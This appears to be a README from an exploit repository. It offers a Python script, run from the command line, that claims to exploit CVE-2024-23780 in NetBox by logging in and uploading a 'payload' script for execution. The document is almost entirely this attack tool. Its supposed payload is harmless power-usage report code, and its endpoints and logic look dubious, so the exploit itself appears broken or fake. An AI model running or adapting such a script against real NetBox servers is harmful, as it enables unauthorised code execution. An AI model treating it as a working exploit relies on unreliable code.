README.md
Rendering markdown...
import requests
import argparse
def exploit_netbox(url, username, password):
# Payload to send to execute arbitrary code
payload = {
"name": "cve-2024-23780",
"slug": "cve-2024-23780",
"description": "Exploit for CVE-2024-23780",
"content": """
import csv
import io
from dcim.choices import PowerPortTypeChoices
from dcim.models import Site, Device, PowerPort, PowerOutlet, PowerFeed, PowerPanel
from extras.scripts import Script, StringVar, ObjectVar, ChoiceVar
DC_TYPES = [PowerPortTypeChoices.TYPE_DC]
class PowerUsageAllSites(Script):
class Meta:
name = "Power Usage (all sites)"
description = "Report on allocated power per site"
scheduling_enabled = False
commit_default = False
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(['Site','Allocated Draw'])
for site in Site.objects.filter(status='active'):
power_ports = PowerPort.objects.filter(device__site=site, device__status='active')
site_draw = sum(((pp.allocated_draw or 0) for pp in power_ports))
if site_draw > 0:
writer.writerow([site.name, site_draw])
return output.getvalue()
class PowerUsageSingleSite(Script):
class Meta:
name = "Power Usage (single site)"
description = "Report on allocated power for each device in a site"
scheduling_enabled = False
commit_default = False
site = ObjectVar(
model=Site,
query_params={
'status': 'active',
},
label="Site",
)
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
site = data['site']
power_ports = PowerPort.objects.filter(device__site=site, device__status='active')
writer.writerow(['Device','Port','Allocated Draw'])
site_draw = 0
for pp in power_ports:
if not pp.allocated_draw:
continue
writer.writerow([pp.device.name, pp.name, pp.allocated_draw])
site_draw += pp.allocated_draw
self.log_success(f"Total allocated draw for {site}: {site_draw}W")
return output.getvalue()
class PowerOutletsAllSites(Script):
class Meta:
name = "Power Outlets (all sites)"
description = "Report on total/free power outlets per site"
scheduling_enabled = False
commit_default = False
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(['Site','AC total','AC free','DC total','DC free'])
for site in Site.objects.filter(status='active'):
ac_total = ac_free = dc_total = dc_free = 0
power_ports = PowerOutlet.objects.filter(device__site=site, device__status='active')
for pp in power_ports:
if pp.type in DC_TYPES:
dc_total += 1
dc_free += (0 if pp.mark_connected or pp.cable else 1)
else:
ac_total += 1
ac_free += (0 if pp.mark_connected or pp.cable else 1)
if dc_total > 0 or ac_total > 0:
writer.writerow([site.name, ac_total, ac_free, dc_total, dc_free])
return output.getvalue()
class PowerOutletsSingleSite(Script):
class Meta:
name = "Power Outlets (single site)"
description = "Report on power outlets for each PDU in a site"
scheduling_enabled = False
commit_default = False
site = ObjectVar(
model=Site,
query_params={
'status': 'active',
},
label="Site",
)
def run(self, data, commit):
output = io.StringIO()
writer = csv.writer(output)
site = data['site']
devices = Device.objects.filter(site=site, status='active')
writer.writerow(['Device','Outlet Type','Total','Free'])
for device in devices:
count_by_type = {} # type => [total, free]
for pp in device.poweroutlets.all():
c = count_by_type.setdefault(pp.type, [0,0])
c[0] += 1
if not (pp.mark_connected or pp.cable):
c[1] += 1
for type, vals in count_by_type.items():
writer.writerow([device.name, type, vals[0], vals[1]])
return output.getvalue()
"""
}
# Authenticate with Netbox
session = requests.Session()
session.post(f"{url}/login/", data={"username": username, "password": password})
# Find Netbox instance with title="Netbox"
instance = session.get(f"{url}/api/extras/text/?title=Netbox").json()
if instance:
# Send payload to /extras/scripts/add/ endpoint
response = session.post(f"{url}/extras/scripts/add/", json=payload)
if response.status_code == 201:
print("Payload sent successfully! Check for execution.")
else:
print(f"Failed to send payload: {response.status_code} - {response.text}")
else:
print("Netbox instance with title='Netbox' not found.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-23780 Exploit for Netbox")
parser.add_argument("--url", required=True, help="URL of the Netbox instance")
parser.add_argument("--username", required=True, help="Username for authentication")
parser.add_argument("--password", required=True, help="Password for authentication")
args = parser.parse_args()
exploit_netbox(args.url, args.username, args.password)